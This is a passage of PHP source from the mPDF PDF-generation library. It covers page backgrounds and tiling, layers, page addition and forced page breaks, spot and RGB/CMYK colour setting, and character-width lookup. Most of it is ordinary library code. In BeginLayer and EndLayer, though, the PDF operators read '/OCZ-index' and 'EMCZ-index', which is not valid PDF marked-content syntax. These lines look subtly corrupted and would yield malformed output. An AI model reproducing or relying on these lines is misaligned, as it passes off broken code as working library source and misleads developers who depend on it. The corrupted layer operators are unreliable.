					list($orig_w, $orig_h, $x_repeat, $y_repeat) = $this->_resizeBackgroundImage($pb['orig_w'], $pb['orig_h'], $pb['w'], $pb['h'], $pb['resize'], $pb['x_repeat'], $pb['y_repeat']);
					$this->patterns[$n] = ['x' => $pb['x'], 'y' => $pb['y'], 'w' => $pb['w'], 'h' => $pb['h'], 'pgh' => $this->h, 'image_id' => $pb['image_id'], 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $pb['x_pos'], 'y_pos' => $pb['y_pos'], 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'itype' => $pb['itype']];
					$x = $pb['x'] * Mpdf::SCALE;
					$y = ($this->h - $pb['y']) * Mpdf::SCALE;
					$w = $pb['w'] * Mpdf::SCALE;
					$h = -$pb['h'] * Mpdf::SCALE;

					// mPDF 5.7.3
					if (($this->writingHTMLfooter || $this->writingHTMLheader) && (!isset($pb['clippath']) || $pb['clippath'] == '')) {
						// Set clipping path
						$pb['clippath'] = sprintf(' q 0 w %.3F %.3F m %.3F %.3F l %.3F %.3F l %.3F %.3F l %.3F %.3F l W n ', $x, $y, $x, $y + $h, $x + $w, $y + $h, $x + $w, $y, $x, $y);
					}

					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= $pb['clippath'] . "\n";
					}

					// mPDF 5.7.3
					if ($this->writingHTMLfooter || $this->writingHTMLheader) { // Write each (tiles) image rather than use as a pattern
						$iw = $pb['orig_w'] / Mpdf::SCALE;
						$ih = $pb['orig_h'] / Mpdf::SCALE;

						$w = $pb['w'];
						$h = $pb['h'];
						$x0 = $pb['x'];
						$y0 = $pb['y'];

						if (isset($pb['bpa']) && $pb['bpa']) {
							$w = $pb['bpa']['w'];
							$h = $pb['bpa']['h'];
							$x0 = $pb['bpa']['x'];
							$y0 = $pb['bpa']['y'];
						} // At present 'bpa' (background page area) is not set for tablebackgrounds - only pagebackgrounds
						// For now, just set it as:
						else {
							$pb['bpa'] = ['x' => $x0, 'y' => $y0, 'w' => $w, 'h' => $h];
						}

						if (isset($pb['size']['w']) && $pb['size']['w']) {
							$size = $pb['size'];

							if ($size['w'] == 'contain') {
								// Scale the image, while preserving its intrinsic aspect ratio (if any), to the largest size such that both its width and its height can fit inside the background positioning area.
								// Same as resize==3
								$ih = $ih * $pb['bpa']['w'] / $iw;
								$iw = $pb['bpa']['w'];
								if ($ih > $pb['bpa']['h']) {
									$iw = $iw * $pb['bpa']['h'] / $ih;
									$ih = $pb['bpa']['h'];
								}
							} elseif ($size['w'] == 'cover') {
								// Scale the image, while preserving its intrinsic aspect ratio (if any), to the smallest size such that both its width and its height can completely cover the background positioning area.
								$ih = $ih * $pb['bpa']['w'] / $iw;
								$iw = $pb['bpa']['w'];
								if ($ih < $pb['bpa']['h']) {
									$iw = $iw * $ih / $pb['bpa']['h'];
									$ih = $pb['bpa']['h'];
								}
							} else {
								if (NumericString::containsPercentChar($size['w'])) {
									$size['w'] = NumericString::removePercentChar($size['w']);
									$size['w'] /= 100;
									$size['w'] = ($pb['bpa']['w'] * $size['w']);
								}
								if (NumericString::containsPercentChar($size['h'])) {
									$size['h'] = NumericString::removePercentChar($size['h']);
									$size['h'] /= 100;
									$size['h'] = ($pb['bpa']['h'] * $size['h']);
								}
								if ($size['w'] == 'auto' && $size['h'] == 'auto') {
									$iw = $iw;
									$ih = $ih;
								} elseif ($size['w'] == 'auto' && $size['h'] != 'auto') {
									$iw = $iw * $size['h'] / $ih;
									$ih = $size['h'];
								} elseif ($size['w'] != 'auto' && $size['h'] == 'auto') {
									$ih = $ih * $size['w'] / $iw;
									$iw = $size['w'];
								} else {
									$iw = $size['w'];
									$ih = $size['h'];
								}
							}
						}

						// Number to repeat
						if (isset($pb['x_repeat']) && $pb['x_repeat']) {
							$nx = ceil($pb['w'] / $iw) + 1;
						} else {
							$nx = 1;
						}
						if (isset($pb['y_repeat']) && $pb['y_repeat']) {
							$ny = ceil($pb['h'] / $ih) + 1;
						} else {
							$ny = 1;
						}

						$x_pos = $pb['x_pos'];
						if (NumericString::containsPercentChar($x_pos)) {
							$x_pos = NumericString::removePercentChar($x_pos);
							$x_pos /= 100;
							$x_pos = ($pb['bpa']['w'] * $x_pos) - ($iw * $x_pos);
						}
						$y_pos = $pb['y_pos'];
						if (NumericString::containsPercentChar($y_pos)) {
							$y_pos = NumericString::removePercentChar($y_pos);
							$y_pos /= 100;
							$y_pos = ($pb['bpa']['h'] * $y_pos) - ($ih * $y_pos);
						}
						if ($nx > 1) {
							while ($x_pos > ($pb['x'] - $pb['bpa']['x'])) {
								$x_pos -= $iw;
							}
						}
						if ($ny > 1) {
							while ($y_pos > ($pb['y'] - $pb['bpa']['y'])) {
								$y_pos -= $ih;
							}
						}
						for ($xi = 0; $xi < $nx; $xi++) {
							for ($yi = 0; $yi < $ny; $yi++) {
								$x = $x0 + $x_pos + ($iw * $xi);
								$y = $y0 + $y_pos + ($ih * $yi);
								if ($pb['opacity'] > 0 && $pb['opacity'] < 1) {
									$opac = $this->SetAlpha($pb['opacity'], 'Normal', true);
								} else {
									$opac = '';
								}
								$s .= sprintf("q %s %.3F 0 0 %.3F %.3F %.3F cm /I%d Do Q", $opac, $iw * Mpdf::SCALE, $ih * Mpdf::SCALE, $x * Mpdf::SCALE, ($this->h - ($y + $ih)) * Mpdf::SCALE, $pb['image_id']) . "\n";
							}
						}
					} else {
						if (($pb['opacity'] > 0 || $pb['opacity'] === '0') && $pb['opacity'] < 1) {
							$opac = $this->SetAlpha($pb['opacity'], 'Normal', true);
						} else {
							$opac = '';
						}
						$s .= sprintf('q /Pattern cs /P%d scn %s %.3F %.3F %.3F %.3F re f Q', $n, $opac, $x, $y, $w, $h) . "\n";
					}

					if (isset($pb['clippath']) && $pb['clippath']) {
						$s .= 'Q' . "\n";
					}
				}
			}
		}
		/* -- END BACKGROUNDS -- */
		return $s;
	}

	function BeginLayer($id)
	{
		if ($this->current_layer > 0) {
			$this->EndLayer();
		}
		if ($id < 1) {
			return false;
		}
		if (!isset($this->layers[$id])) {
			$this->layers[$id] = ['name' => 'Layer ' . ($id)];
			if (($this->PDFA || $this->PDFX)) {
				$this->PDFAXwarnings[] = "Cannot use layers when using PDFA or PDFX";
				return '';
			} elseif (!$this->PDFA && !$this->PDFX) {
				$this->pdf_version = '1.5';
			}
		}
		$this->current_layer = $id;
		$this->writer->write('/OCZ-index /ZI' . $id . ' BDC');

		$this->pageoutput[$this->page] = [];
	}

	function EndLayer()
	{
		if ($this->current_layer > 0) {
			$this->writer->write('EMCZ-index');
			$this->current_layer = 0;
		}
	}

	function AddPageByArray($a)
	{
		if (!is_array($a)) {
			$a = [];
		}

		$orientation = (isset($a['orientation']) ? $a['orientation'] : '');
		$condition = (isset($a['condition']) ? $a['condition'] : (isset($a['type']) ? $a['type'] : ''));
		$resetpagenum = (isset($a['resetpagenum']) ? $a['resetpagenum'] : '');
		$pagenumstyle = (isset($a['pagenumstyle']) ? $a['pagenumstyle'] : '');
		$suppress = (isset($a['suppress']) ? $a['suppress'] : '');
		$mgl = (isset($a['mgl']) ? $a['mgl'] : (isset($a['margin-left']) ? $a['margin-left'] : ''));
		$mgr = (isset($a['mgr']) ? $a['mgr'] : (isset($a['margin-right']) ? $a['margin-right'] : ''));
		$mgt = (isset($a['mgt']) ? $a['mgt'] : (isset($a['margin-top']) ? $a['margin-top'] : ''));
		$mgb = (isset($a['mgb']) ? $a['mgb'] : (isset($a['margin-bottom']) ? $a['margin-bottom'] : ''));
		$mgh = (isset($a['mgh']) ? $a['mgh'] : (isset($a['margin-header']) ? $a['margin-header'] : ''));
		$mgf = (isset($a['mgf']) ? $a['mgf'] : (isset($a['margin-footer']) ? $a['margin-footer'] : ''));
		$ohname = (isset($a['ohname']) ? $a['ohname'] : (isset($a['odd-header-name']) ? $a['odd-header-name'] : ''));
		$ehname = (isset($a['ehname']) ? $a['ehname'] : (isset($a['even-header-name']) ? $a['even-header-name'] : ''));
		$ofname = (isset($a['ofname']) ? $a['ofname'] : (isset($a['odd-footer-name']) ? $a['odd-footer-name'] : ''));
		$efname = (isset($a['efname']) ? $a['efname'] : (isset($a['even-footer-name']) ? $a['even-footer-name'] : ''));
		$ohvalue = (isset($a['ohvalue']) ? $a['ohvalue'] : (isset($a['odd-header-value']) ? $a['odd-header-value'] : 0));
		$ehvalue = (isset($a['ehvalue']) ? $a['ehvalue'] : (isset($a['even-header-value']) ? $a['even-header-value'] : 0));
		$ofvalue = (isset($a['ofvalue']) ? $a['ofvalue'] : (isset($a['odd-footer-value']) ? $a['odd-footer-value'] : 0));
		$efvalue = (isset($a['efvalue']) ? $a['efvalue'] : (isset($a['even-footer-value']) ? $a['even-footer-value'] : 0));
		$pagesel = (isset($a['pagesel']) ? $a['pagesel'] : (isset($a['pageselector']) ? $a['pageselector'] : ''));
		$newformat = (isset($a['newformat']) ? $a['newformat'] : (isset($a['sheet-size']) ? $a['sheet-size'] : ''));

		$this->AddPage($orientation, $condition, $resetpagenum, $pagenumstyle, $suppress, $mgl, $mgr, $mgt, $mgb, $mgh, $mgf, $ohname, $ehname, $ofname, $efname, $ohvalue, $ehvalue, $ofvalue, $efvalue, $pagesel, $newformat);
	}

	// mPDF 6 pagebreaktype
	function _preForcedPagebreak($pagebreaktype)
	{
		if ($pagebreaktype == 'cloneall') {
			// Close any open block tags
			$arr = [];
			$ai = 0;
			for ($b = $this->blklvl; $b > 0; $b--) {
				$this->tag->CloseTag($this->blk[$b]['tag'], $arr, $ai);
			}
			if ($this->blklvl == 0 && !empty($this->textbuffer)) { // Output previously buffered content
				$this->printbuffer($this->textbuffer, 1);
				$this->textbuffer = [];
			}
		} elseif ($pagebreaktype == 'clonebycss') {
			// Close open block tags whilst box-decoration-break==clone
			$arr = [];
			$ai = 0;
			for ($b = $this->blklvl; $b > 0; $b--) {
				if (isset($this->blk[$b]['box_decoration_break']) && $this->blk[$b]['box_decoration_break'] == 'clone') {
					$this->tag->CloseTag($this->blk[$b]['tag'], $arr, $ai);
				} else {
					if ($b == $this->blklvl && !empty($this->textbuffer)) { // Output previously buffered content
						$this->printbuffer($this->textbuffer, 1);
						$this->textbuffer = [];
					}
					break;
				}
			}
		} elseif (!empty($this->textbuffer)) { // Output previously buffered content
			$this->printbuffer($this->textbuffer, 1);
			$this->textbuffer = [];
		}
	}

	// mPDF 6 pagebreaktype
	function _postForcedPagebreak($pagebreaktype, $startpage, $save_blk, $save_blklvl)
	{
		if ($pagebreaktype == 'cloneall') {
			$this->blk = [];
			$this->blk[0] = $save_blk[0];
			// Re-open block tags
			$this->blklvl = 0;
			$arr = [];
			$i = 0;
			for ($b = 1; $b <= $save_blklvl; $b++) {
				$this->tag->OpenTag($save_blk[$b]['tag'], $save_blk[$b]['attr'], $arr, $i);
			}
		} elseif ($pagebreaktype == 'clonebycss') {
			$this->blk = [];
			$this->blk[0] = $save_blk[0];
			// Don't re-open tags for lowest level elements - so need to do some adjustments
			for ($b = 1; $b <= $this->blklvl; $b++) {
				$this->blk[$b] = $save_blk[$b];
				$this->blk[$b]['startpage'] = 0;
				$this->blk[$b]['y0'] = $this->y; // ?? $this->tMargin
				if (($this->page - $startpage) % 2) {
					if (isset($this->blk[$b]['x0'])) {
						$this->blk[$b]['x0'] += $this->MarginCorrection;
					} else {
						$this->blk[$b]['x0'] = $this->MarginCorrection;
					}
				}
				// for Float DIV
				$this->blk[$b]['marginCorrected'][$this->page] = true;
			}

			// Re-open block tags for any that have box_decoration_break==clone
			$arr = [];
			$i = 0;
			for ($b = $this->blklvl + 1; $b <= $save_blklvl; $b++) {
				if ($b < $this->blklvl) {
					$this->lastblocklevelchange = -1;
				}
				$this->tag->OpenTag($save_blk[$b]['tag'], $save_blk[$b]['attr'], $arr, $i);
			}
			if ($this->blk[$this->blklvl]['box_decoration_break'] != 'clone') {
				$this->lastblocklevelchange = -1;
			}
		} else {
			$this->lastblocklevelchange = -1;
		}
	}

	function AddPage(
		$orientation = '',
		$condition = '',
		$resetpagenum = '',
		$pagenumstyle = '',
		$suppress = '',
		$mgl = '',
		$mgr = '',
		$mgt = '',
		$mgb = '',
		$mgh = '',
		$mgf = '',
		$ohname = '',
		$ehname = '',
		$ofname = '',
		$efname = '',
		$ohvalue = 0,
		$ehvalue = 0,
		$ofvalue = 0,
		$efvalue = 0,
		$pagesel = '',
		$newformat = ''
	) {
		/* -- CSS-FLOAT -- */
		// Float DIV
		// Cannot do with columns on, or if any change in page orientation/margins etc.
		// If next page already exists - i.e background /headers and footers already written
		if ($this->state > 0 && $this->page < count($this->pages)) {
			$bak_cml = $this->cMarginL;
			$bak_cmr = $this->cMarginR;
			$bak_dw = $this->divwidth;
			// Paint Div Border if necessary
			if ($this->blklvl > 0) {
				$save_tr = $this->table_rotate; // *TABLES*
				$this->table_rotate = 0; // *TABLES*
				if (isset($this->blk[$this->blklvl]['y0']) && $this->y == $this->blk[$this->blklvl]['y0']) {
					$this->blk[$this->blklvl]['startpage'] ++;
				}
				if ((isset($this->blk[$this->blklvl]['y0']) && $this->y > $this->blk[$this->blklvl]['y0']) || $this->flowingBlockAttr['is_table']) {
					$toplvl = $this->blklvl;
				} else {
					$toplvl = $this->blklvl - 1;
				}
				$sy = $this->y;
				for ($bl = 1; $bl <= $toplvl; $bl++) {
					$this->PaintDivBB('pagebottom', 0, $bl);
				}
				$this->y = $sy;
				$this->table_rotate = $save_tr; // *TABLES*
			}
			$s = $this->PrintPageBackgrounds();

			// Writes after the marker so not overwritten later by page background etc.
			$this->pages[$this->page] = preg_replace(
				'/(___BACKGROUND___PATTERNS' . $this->uniqstr . ')/',
				'\\1' . "\n" . $s . "\n",
				$this->pages[$this->page]
			);

			$this->pageBackgrounds = [];
			$family = $this->FontFamily;
			$style = $this->FontStyle;
			$size = $this->FontSizePt;
			$lw = $this->LineWidth;
			$dc = $this->DrawColor;
			$fc = $this->FillColor;
			$tc = $this->TextColor;
			$cf = $this->ColorFlag;

			$this->printfloatbuffer();

			// Move to next page
			$this->page++;

			$this->ResetMargins();
			$this->SetAutoPageBreak($this->autoPageBreak, $this->bMargin);
			$this->x = $this->lMargin;
			$this->y = $this->tMargin;
			$this->FontFamily = '';
			$this->writer->write('2 J');
			$this->LineWidth = $lw;
			$this->writer->write(sprintf('%.3F w', $lw * Mpdf::SCALE));

			if ($family) {
				$this->SetFont($family, $style, $size, true, true);
			}

			$this->DrawColor = $dc;

			if ($dc != $this->defDrawColor) {
				$this->writer->write($dc);
			}

			$this->FillColor = $fc;

			if ($fc != $this->defFillColor) {
				$this->writer->write($fc);
			}

			$this->TextColor = $tc;
			$this->ColorFlag = $cf;

			for ($bl = 1; $bl <= $this->blklvl; $bl++) {
				$this->blk[$bl]['y0'] = $this->y;
				// Don't correct more than once for background DIV containing a Float
				if (!isset($this->blk[$bl]['marginCorrected'][$this->page])) {
					if (isset($this->blk[$bl]['x0'])) {
						$this->blk[$bl]['x0'] += $this->MarginCorrection;
					} else {
						$this->blk[$bl]['x0'] = $this->MarginCorrection;
					}
				}
				$this->blk[$bl]['marginCorrected'][$this->page] = true;
			}

			$this->cMarginL = $bak_cml;
			$this->cMarginR = $bak_cmr;
			$this->divwidth = $bak_dw;

			return '';
		}
		/* -- END CSS-FLOAT -- */

		// Start a new page
		if ($this->state == 0) {
			$this->Open();
		}

		$bak_cml = $this->cMarginL;
		$bak_cmr = $this->cMarginR;
		$bak_dw = $this->divwidth;

		$bak_lh = $this->lineheight;

		$orientation = substr(strtoupper($orientation), 0, 1);
		$condition = strtoupper($condition);


		if ($condition == 'E') { // only adds new page if needed to create an Even page
			if (!$this->mirrorMargins || ($this->page) % 2 == 0) {
				return false;
			}
		} elseif ($condition == 'O') { // only adds new page if needed to create an Odd page
			if (!$this->mirrorMargins || ($this->page) % 2 == 1) {
				return false;
			}
		} elseif ($condition == 'NEXT-EVEN') { // always adds at least one new page to create an Even page
			if (!$this->mirrorMargins) {
				$condition = '';
			} else {
				if ($pagesel) {
					$pbch = $pagesel;
					$pagesel = '';
				} // *CSS-PAGE*
				else {
					$pbch = false;
				} // *CSS-PAGE*
				$this->AddPage($this->CurOrientation, 'O');
				$this->extrapagebreak = true; // mPDF 6 pagebreaktype
				if ($pbch) {
					$pagesel = $pbch;
				} // *CSS-PAGE*
				$condition = '';
			}
		} elseif ($condition == 'NEXT-ODD') { // always adds at least one new page to create an Odd page
			if (!$this->mirrorMargins) {
				$condition = '';
			} else {
				if ($pagesel) {
					$pbch = $pagesel;
					$pagesel = '';
				} // *CSS-PAGE*
				else {
					$pbch = false;
				} // *CSS-PAGE*
				$this->AddPage($this->CurOrientation, 'E');
				$this->extrapagebreak = true; // mPDF 6 pagebreaktype
				if ($pbch) {
					$pagesel = $pbch;
				} // *CSS-PAGE*
				$condition = '';
			}
		}

		if ($resetpagenum || $pagenumstyle || $suppress) {
			$this->PageNumSubstitutions[] = ['from' => ($this->page + 1), 'reset' => $resetpagenum, 'type' => $pagenumstyle, 'suppress' => $suppress];
		}

		$save_tr = $this->table_rotate; // *TABLES*
		$this->table_rotate = 0; // *TABLES*
		$save_kwt = $this->kwt;
		$this->kwt = 0;
		$save_layer = $this->current_layer;
		$save_vis = $this->visibility;

		if ($this->visibility != 'visible') {
			$this->SetVisibility('visible');
		}

		$this->EndLayer();

		// Paint Div Border if necessary
		// PAINTS BACKGROUND COLOUR OR BORDERS for DIV - DISABLED FOR COLUMNS (cf. AcceptPageBreak) AT PRESENT in ->PaintDivBB
		if (!$this->ColActive && $this->blklvl > 0) {
			if (isset($this->blk[$this->blklvl]['y0']) && $this->y == $this->blk[$this->blklvl]['y0'] && !$this->extrapagebreak) { // mPDF 6 pagebreaktype
				if (isset($this->blk[$this->blklvl]['startpage'])) {
					$this->blk[$this->blklvl]['startpage'] ++;
				} else {
					$this->blk[$this->blklvl]['startpage'] = 1;
				}
			}
			if ((isset($this->blk[$this->blklvl]['y0']) && $this->y > $this->blk[$this->blklvl]['y0']) || $this->flowingBlockAttr['is_table'] || $this->extrapagebreak) {
				$toplvl = $this->blklvl;
			} // mPDF 6 pagebreaktype
			else {
				$toplvl = $this->blklvl - 1;
			}
			$sy = $this->y;
			for ($bl = 1; $bl <= $toplvl; $bl++) {
				if (isset($this->blk[$bl]['z-index']) && $this->blk[$bl]['z-index'] > 0) {
					$this->BeginLayer($this->blk[$bl]['z-index']);
				}
				if (isset($this->blk[$bl]['visibility']) && $this->blk[$bl]['visibility'] && $this->blk[$bl]['visibility'] != 'visible') {
					$this->SetVisibility($this->blk[$bl]['visibility']);
				}
				$this->PaintDivBB('pagebottom', 0, $bl);
			}
			$this->y = $sy;
			// RESET block y0 and x0 - see below
		}
		$this->extrapagebreak = false; // mPDF 6 pagebreaktype

		if ($this->visibility != 'visible') {
			$this->SetVisibility('visible');
		}

		$this->EndLayer();

		// BODY Backgrounds
		if ($this->page > 0) {
			$s = '';
			$s .= $this->PrintBodyBackgrounds();

			$s .= $this->PrintPageBackgrounds();
			$this->pages[$this->page] = preg_replace('/(___BACKGROUND___PATTERNS' . $this->uniqstr . ')/', "\n" . $s . "\n" . '\\1', $this->pages[$this->page]);
			$this->pageBackgrounds = [];
		}

		$save_kt = $this->keep_block_together;
		$this->keep_block_together = 0;

		$save_cols = false;

		/* -- COLUMNS -- */
		if ($this->ColActive) {
			$save_cols = true;
			$save_nbcol = $this->NbCol; // other values of gap and vAlign will not change by setting Columns off
			$this->SetColumns(0);
		}
		/* -- END COLUMNS -- */

		$family = $this->FontFamily;
		$style = $this->FontStyle;
		$size = $this->FontSizePt;
		$this->ColumnAdjust = true; // enables column height adjustment for the page
		$lw = $this->LineWidth;
		$dc = $this->DrawColor;
		$fc = $this->FillColor;
		$tc = $this->TextColor;
		$cf = $this->ColorFlag;
		if ($this->page > 0) {
			// Page footer
			$this->InFooter = true;

			$this->Reset();
			$this->pageoutput[$this->page] = [];

			$this->Footer();
			// Close page
			$this->_endpage();
		}

		// Start new page
		$this->_beginpage($orientation, $mgl, $mgr, $mgt, $mgb, $mgh, $mgf, $ohname, $ehname, $ofname, $efname, $ohvalue, $ehvalue, $ofvalue, $efvalue, $pagesel, $newformat);

		if ($this->docTemplate) {
			$currentReaderId = $this->currentReaderId;

			$pagecount = $this->setSourceFile($this->docTemplate);
			if (($this->page - $this->docTemplateStart) > $pagecount) {
				if ($this->docTemplateContinue) {
					$tplIdx = $this->importPage($pagecount);
					$this->useTemplate($tplIdx);
				}
			} else {
				$tplIdx = $this->importPage(($this->page - $this->docTemplateStart));
				$this->useTemplate($tplIdx);
			}

			$this->currentReaderId = $currentReaderId;
		}

		if ($this->pageTemplate) {
			$this->useTemplate($this->pageTemplate);
		}

		// Tiling Patterns
		$this->writer->write('___PAGE___START' . $this->uniqstr);
		$this->writer->write('___BACKGROUND___PATTERNS' . $this->uniqstr);
		$this->writer->write('___HEADER___MARKER' . $this->uniqstr);
		$this->pageBackgrounds = [];

		// Set line cap style to square
		$this->SetLineCap(2);
		// Set line width
		$this->LineWidth = $lw;
		$this->writer->write(sprintf('%.3F w', $lw * Mpdf::SCALE));
		// Set font
		if ($family) {
			$this->SetFont($family, $style, $size, true, true); // forces write
		}

		// Set colors
		$this->DrawColor = $dc;
		if ($dc != $this->defDrawColor) {
			$this->writer->write($dc);
		}
		$this->FillColor = $fc;
		if ($fc != $this->defFillColor) {
			$this->writer->write($fc);
		}
		$this->TextColor = $tc;
		$this->ColorFlag = $cf;

		// Page header
		$this->Header();

		// Restore line width
		if ($this->LineWidth != $lw) {
			$this->LineWidth = $lw;
			$this->writer->write(sprintf('%.3F w', $lw * Mpdf::SCALE));
		}
		// Restore font
		if ($family) {
			$this->SetFont($family, $style, $size, true, true); // forces write
		}

		// Restore colors
		if ($this->DrawColor != $dc) {
			$this->DrawColor = $dc;
			$this->writer->write($dc);
		}
		if ($this->FillColor != $fc) {
			$this->FillColor = $fc;
			$this->writer->write($fc);
		}
		$this->TextColor = $tc;
		$this->ColorFlag = $cf;
		$this->InFooter = false;

		if ($save_layer > 0) {
			$this->BeginLayer($save_layer);
		}

		if ($save_vis != 'visible') {
			$this->SetVisibility($save_vis);
		}

		/* -- COLUMNS -- */
		if ($save_cols) {
			// Restore columns
			$this->SetColumns($save_nbcol, $this->colvAlign, $this->ColGap);
		}
		if ($this->ColActive) {
			$this->SetCol(0);
		}
		/* -- END COLUMNS -- */


		// RESET BLOCK BORDER TOP
		if (!$this->ColActive) {
			for ($bl = 1; $bl <= $this->blklvl; $bl++) {
				$this->blk[$bl]['y0'] = $this->y;
				if (isset($this->blk[$bl]['x0'])) {
					$this->blk[$bl]['x0'] += $this->MarginCorrection;
				} else {
					$this->blk[$bl]['x0'] = $this->MarginCorrection;
				}
				// Added mPDF 3.0 Float DIV
				$this->blk[$bl]['marginCorrected'][$this->page] = true;
			}
		}


		$this->table_rotate = $save_tr; // *TABLES*
		$this->kwt = $save_kwt;

		$this->keep_block_together = $save_kt;

		$this->cMarginL = $bak_cml;
		$this->cMarginR = $bak_cmr;
		$this->divwidth = $bak_dw;

		$this->lineheight = $bak_lh;
	}

	/**
	 * Get current page number
	 *
	 * @return int
	 */
	function PageNo()
	{
		return $this->page;
	}

	function AddSpotColorsFromFile($file)
	{
		$colors = @file($file);
		if (!$colors) {
			throw new \Mpdf\MpdfException("Cannot load spot colors file - " . $file);
		}
		foreach ($colors as $sc) {
			list($name, $c, $m, $y, $k) = preg_split("/\t/", $sc);
			$c = intval($c);
			$m = intval($m);
			$y = intval($y);
			$k = intval($k);
			$this->AddSpotColor($name, $c, $m, $y, $k);
		}
	}

	function AddSpotColor($name, $c, $m, $y, $k)
	{
		$name = strtoupper(trim($name));
		if (!isset($this->spotColors[$name])) {
			$i = count($this->spotColors) + 1;
			$this->spotColors[$name] = ['i' => $i, 'c' => $c, 'm' => $m, 'y' => $y, 'k' => $k];
			$this->spotColorIDs[$i] = $name;
		}
	}

	function SetColor($col, $type = '')
	{
		$out = '';
		if (!$col) {
			return '';
		} // mPDF 6
		if ($col[0] == 3 || $col[0] == 5) { // RGB / RGBa
			$out = sprintf('%.3F %.3F %.3F rg', ord($col[1]) / 255, ord($col[2]) / 255, ord($col[3]) / 255);
		} elseif ($col[0] == 1) { // GRAYSCALE
			$out = sprintf('%.3F g', ord($col[1]) / 255);
		} elseif ($col[0] == 2) { // SPOT COLOR
			$out = sprintf('/CS%d cs %.3F scn', ord($col[1]), ord($col[2]) / 100);
		} elseif ($col[0] == 4 || $col[0] == 6) { // CMYK / CMYKa
			$out = sprintf('%.3F %.3F %.3F %.3F k', ord($col[1]) / 100, ord($col[2]) / 100, ord($col[3]) / 100, ord($col[4]) / 100);
		}
		if ($type == 'Draw') {
			$out = strtoupper($out);
		} // e.g. rg => RG
		elseif ($type == 'CodeOnly') {
			$out = preg_replace('/\s(rg|g|k)/', '', $out);
		}
		return $out;
	}

	function SetDColor($col, $return = false)
	{
		$out = $this->SetColor($col, 'Draw');
		if ($return) {
			return $out;
		}
		if ($out == '') {
			return '';
		}
		$this->DrawColor = $out;
		if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['DrawColor']) && $this->pageoutput[$this->page]['DrawColor'] != $this->DrawColor) || !isset($this->pageoutput[$this->page]['DrawColor']))) {
			$this->writer->write($this->DrawColor);
		}
		$this->pageoutput[$this->page]['DrawColor'] = $this->DrawColor;
	}

	function SetFColor($col, $return = false)
	{
		$out = $this->SetColor($col, 'Fill');
		if ($return) {
			return $out;
		}
		if ($out == '') {
			return '';
		}
		$this->FillColor = $out;
		$this->ColorFlag = ($out != $this->TextColor);
		if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['FillColor']) && $this->pageoutput[$this->page]['FillColor'] != $this->FillColor) || !isset($this->pageoutput[$this->page]['FillColor']))) {
			$this->writer->write($this->FillColor);
		}
		$this->pageoutput[$this->page]['FillColor'] = $this->FillColor;
	}

	function SetTColor($col, $return = false)
	{
		$out = $this->SetColor($col, 'Text');
		if ($return) {
			return $out;
		}
		if ($out == '') {
			return '';
		}
		$this->TextColor = $out;
		$this->ColorFlag = ($this->FillColor != $out);
	}

	function SetDrawColor($r, $g = -1, $b = -1, $col4 = -1, $return = false)
	{
		// Set color for all stroking operations
		$col = [];
		if (($r == 0 and $g == 0 and $b == 0 && $col4 == -1) or $g == -1) {
			$col = $this->colorConverter->convert($r, $this->PDFAXwarnings);
		} elseif ($col4 == -1) {
			$col = $this->colorConverter->convert('rgb(' . $r . ',' . $g . ',' . $b . ')', $this->PDFAXwarnings);
		} else {
			$col = $this->colorConverter->convert('cmyk(' . $r . ',' . $g . ',' . $b . ',' . $col4 . ')', $this->PDFAXwarnings);
		}
		$out = $this->SetDColor($col, $return);
		return $out;
	}

	function SetFillColor($r, $g = -1, $b = -1, $col4 = -1, $return = false)
	{
		// Set color for all filling operations
		$col = [];
		if (($r == 0 and $g == 0 and $b == 0 && $col4 == -1) or $g == -1) {
			$col = $this->colorConverter->convert($r, $this->PDFAXwarnings);
		} elseif ($col4 == -1) {
			$col = $this->colorConverter->convert('rgb(' . $r . ',' . $g . ',' . $b . ')', $this->PDFAXwarnings);
		} else {
			$col = $this->colorConverter->convert('cmyk(' . $r . ',' . $g . ',' . $b . ',' . $col4 . ')', $this->PDFAXwarnings);
		}
		$out = $this->SetFColor($col, $return);
		return $out;
	}

	function SetTextColor($r, $g = -1, $b = -1, $col4 = -1, $return = false)
	{
		// Set color for text
		$col = [];
		if (($r == 0 and $g == 0 and $b == 0 && $col4 == -1) or $g == -1) {
			$col = $this->colorConverter->convert($r, $this->PDFAXwarnings);
		} elseif ($col4 == -1) {
			$col = $this->colorConverter->convert('rgb(' . $r . ',' . $g . ',' . $b . ')', $this->PDFAXwarnings);
		} else {
			$col = $this->colorConverter->convert('cmyk(' . $r . ',' . $g . ',' . $b . ',' . $col4 . ')', $this->PDFAXwarnings);
		}
		$out = $this->SetTColor($col, $return);
		return $out;
	}

	function _getCharWidth(&$cw, $u, $isdef = true)
	{
		$w = 0;

		if ($u == 0) {
			$w = false;
		} elseif (isset($cw[$u * 2 + 1])) {
			$w = (ord($cw[$u * 2]) << 8) + ord($cw[$u * 2 + 1]);
		}

		if ($w == 65535) {
			return 0;
		} elseif ($w) {
			return $w;
		} elseif ($isdef) {
			return false;
		} else {
			return 0;
		}
	}

	function _charDefined(&$cw, $u)
	{
		$w = 0;
		if ($u == 0) {
			return false;
		}
		if (isset($cw[$u * 2 + 1])) {
			$w = (ord($cw[$u * 2]) << 8) + ord($cw[$u * 2 + 1]);
		}

		return (bool) $w;
	}

	function GetCharWidthCore($c)
	{
		// Get width of a single character in the current Core font
		$c = (string) $c;
		$w = 0;
		// Soft Hyphens chr(173)
		if ($c == chr(173) && $this->FontFamily != 'csymbol' && $this->FontFamily != 'czapfdingbats') {
			return 0;
		} elseif (($this->textvar & TextVars::FC_SMALLCAPS) && isset($this->upperCase[ord($c)])) {  // mPDF 5.7.1
			$charw = $this->CurrentFont['cw'][chr($this->upperCase[ord($c)])];
			if ($charw !== false) {
				$charw = $charw * $this->smCapsScale * $this->smCapsStretch / 100;
				$w+=$charw;
			}
		} elseif (isset($this->CurrentFont['cw'][$c])) {
			$w += $this->CurrentFont['cw'][$c];
		} elseif (isset($this->CurrentFont['cw'][ord($c)])) {
			$w += $this->CurrentFont['cw'][ord($c)];
		}
		$w *= ($this->FontSize / 1000);
		if ($this->minwSpacing || $this->fixedlSpacing) {
			if ($c == ' ') {
				$nb_spaces = 1;
			} else {
				$nb_spaces = 0;
			}
			$w += $this->fixedlSpacing + ($nb_spaces * $this->minwSpacing);
		}
		return ($w);
	}

	function GetCharWidthNonCore($c, $addSubset = true)
	{
		// Get width of a single character in the current Non-Core font
		$c = (string) $c;
		$w = 0;
